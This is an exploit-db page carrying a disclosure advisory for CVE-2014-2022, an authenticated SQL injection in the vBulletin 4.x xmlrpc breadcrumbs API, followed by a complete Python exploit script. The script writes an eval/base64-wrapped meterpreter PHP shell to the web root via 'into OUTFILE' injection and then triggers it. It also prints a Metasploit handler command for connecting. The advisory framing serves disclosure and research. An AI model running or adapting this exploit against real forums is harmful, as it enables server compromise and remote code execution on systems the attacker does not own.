vBulletin 4.x – breadcrumbs via xmlrpc API (Authenticated) SQL Injection

  • 作者: tintinweb
    日期: 2014-10-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40115/
  • CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API (post-auth)
    ==============================================================================
    
    Overview
    --------
    
    	date:10/12/2014 
    	cvss:7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C) base
    	cwe :89 
    	
    	vendor: vBulletin Solutions
    	product : vBulletin 4
    	versions affected :latest 4.x (to date); verified <= 4.2.2
    			* vBulletin 4.2.2 (verified)
    			* vBulletin 4.2.1 (verified)
    			* vBulletin 4.2.0 PL2 (verified)
    						
    	exploitability :
    			* remotely exploitable
    			* requires authentication (apikey)
    				
    	patch availability (to date) :None
    				
    Abstract
    ---------
     
    	vBulletin 4 does not properly sanitize parameters to breadcrumbs_create allowing
    	an attacker to inject arbitrary SQL commands (SELECT).
    	
    	risk:rather low - due to the fact that you the api key is required
    		 you can probably use CVE-2014-2023 to obtain the api key
    
    
    
    Details
    --------
    	
    	vulnerable component: 
    		./includes/api/4/breadcrumbs_create.php
    	vulnerable argument:
    		conceptid
    	
    	which is sanitized as TYPE_STRING which does not prevent SQL injections.
    
    
    Proof of Concept (PoC)
    ----------------------
    
    	see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
    	
    	
    	1) prerequisites
    	1.1) enable API, generate API-key
    		 logon to AdminCP
    		 goto "vBulletin API"->"API-Key" and enable the API interface, generate key
    	2) run PoC
    		 edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
    		 provide WWW_DIR which is the place to write the php_shell to (mysql must have permissions for that folder)
    		 Note: meterpreter_bind_tcp is not provided
    		 run PoC, wait for SUCCESS! message
    		 Note: poc will trigger meterpreter shell
    		 
    	meterpreter PoC scenario requires the mysql user to have write permissions 
    	which may not be the case in some default installations.
    	
    	
    Timeline
    --------
    
    	2014-01-14: initial vendor contact, no response
    	2014-02-24: vendor contact, no response
    	2014-10-13: public disclosure
    	
    Contact
    --------
    	tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
    	
    	
    (0x721427D8)
    	
    - - -
    
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    '''
    @author: tintinweb 0x721427D8
    '''
    import urllib2, cookielib, urllib, json, hashlib
    
    class Exploit(object):
    
    baseurl = None
    cookies = None
    
    def __init__(self,baseurl,params, debuglevel=1):
    self.cookies = cookielib.LWPCookieJar()
    handlers = [
    urllib2.HTTPHandler(debuglevel=debuglevel),
    urllib2.HTTPSHandler(debuglevel=debuglevel),
    urllib2.HTTPCookieProcessor(self.cookies)
    ]
    self.browser = urllib2.build_opener(*handlers)
    self.baseurl=baseurl
    self.params = params
    
    def call(self,path="",data={}):
    assert(isinstance(data,dict))
    data = urllib.urlencode(data)
    
    req = urllib2.Request("%s%s"%(self.baseurl,path),data)
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    
    return self.browser.open(req)
    
    def call_json(self,path=None,data={}):
    try:
    x=self.call(path,data).read()
    print "raw_response", x
    resp =json.loads(x)
    except urllib2.HTTPError, he:
    resp = he.read()
    return resp
    
    
    def vb_init_api(self):
    params = {'api_m':'api_init'}
    params.update(self.params)
    data = self.call_json("?%s"%(urllib.urlencode(params)))
    self.session = data
    return data
    
    def vb_call(self, params):
    api_sig = self._vb_build_api_sig(params)
    req_params = self._vb_build_regstring(api_sig)
    params.update(req_params)
    data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
    if not isinstance(data, dict):
    return data
    if 'errormessage' in data['response'].keys():
    raise Exception(data)
    return data
    
    def _ksort(self, d):
    ret = []
    for key, value in [(k,d[k]) for k in sorted(d.keys())]:
    ret.append( "%s=%s"%(key,value))
    return "&".join(ret)
    
    def _ksort_urlencode(self, d):
    ret = []
    for key, value in [(k,d[k]) for k in sorted(d.keys())]:
    ret.append( urllib.urlencode({key:value}))
    return "&".join(ret)
    
    def _vb_build_api_sig(self, params):
    apikey = self.params['apikey']
    login_string = self._ksort_urlencode(params)
    access_token = str(self.session['apiaccesstoken'])
    client_id = str(self.session['apiclientid'])
    secret = str(self.session['secret'])
    return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
    
    def _vb_build_regstring(self, api_sig):
    params = {
    'api_c':self.session['apiclientid'],
    'api_s':self.session['apiaccesstoken'],
    'api_sig':api_sig,
    'api_v':self.session['apiversion'],
    }
    return params
    
    
    if __name__=="__main__":
    TARGET = "http://192.168.220.131/vbb4/api.php"
    APIKEY = "4FAVcRDc"
    REMOTE_SHELL_PATH = "/var/www/myShell.php"
    TRIGGER_URL = "http://192.168.220.131/myShell.php"
    DEBUGLEVEL = 0# 1 to enable request tracking
    
    
    ### 2. sqli - simple - write outfile
    print "[2 ] - sqli - inject 'into outfile' to create file xxxxx.php"
    params = {'clientname':'fancy_exploit_client',
     'clientversion':'1.0',
     'platformname':'exploit',
     'platformversion':'1.5',
     'uniqueid':'1234',
     'apikey':APIKEY} 
    x = Exploit(baseurl=TARGET,params=params)
    
    vars = x.vb_init_api()
    print vars
    '''
    x.vb_call(params={'api_m':'breadcrumbs_create',
    'type':'t',
    #'conceptid':"1 union select 1 into OUTFILE '%s'"%REMOTE_SHELL_PATH,
    'conceptid':"1 union select 1 into OUTFILE '%s'"%(REMOTE_SHELL_PATH)
    })
    
    print "[ *] SUCCESS! - created file %s"%TRIGGER_URL
    '''
    ### 3. sqli - put meterpreter shell and trigger it
    print "[3 ] - sqli - meterpreter shell + trigger"
    with open("./meterpreter_bind_tcp") as f:
    shell = f.read()
    
    shell = shell.replace("<?php","").replace("?>","")#cleanup tags
    shell = shell.encode("base64").replace("\n","") #encode payload
    shell = "<?php eval(base64_decode('%s')); ?>"%shell # add decoderstub
    shell = "0x"+shell.encode("hex")# for mysql outfile
    
     
    x.vb_call(params={'api_m':'breadcrumbs_create',
    'type':'t',
    'conceptid':"1 union select %s into OUTFILE '%s'"%(shell,REMOTE_SHELL_PATH)}) 
    print "[ *] SUCCESS! - triggering shell .. (script should not exit)"
    print "[] exploit: #>msfcli multi/handler PAYLOAD=php/meterpreter/bind_tcp LPORT=4444 RHOST=<TARGET_IP> E"
    print "[ *] shell active ... waiting for it to die ..."
    print urllib2.urlopen(TRIGGER_URL) 
    print "[] shell died!"
    print "-- quit --"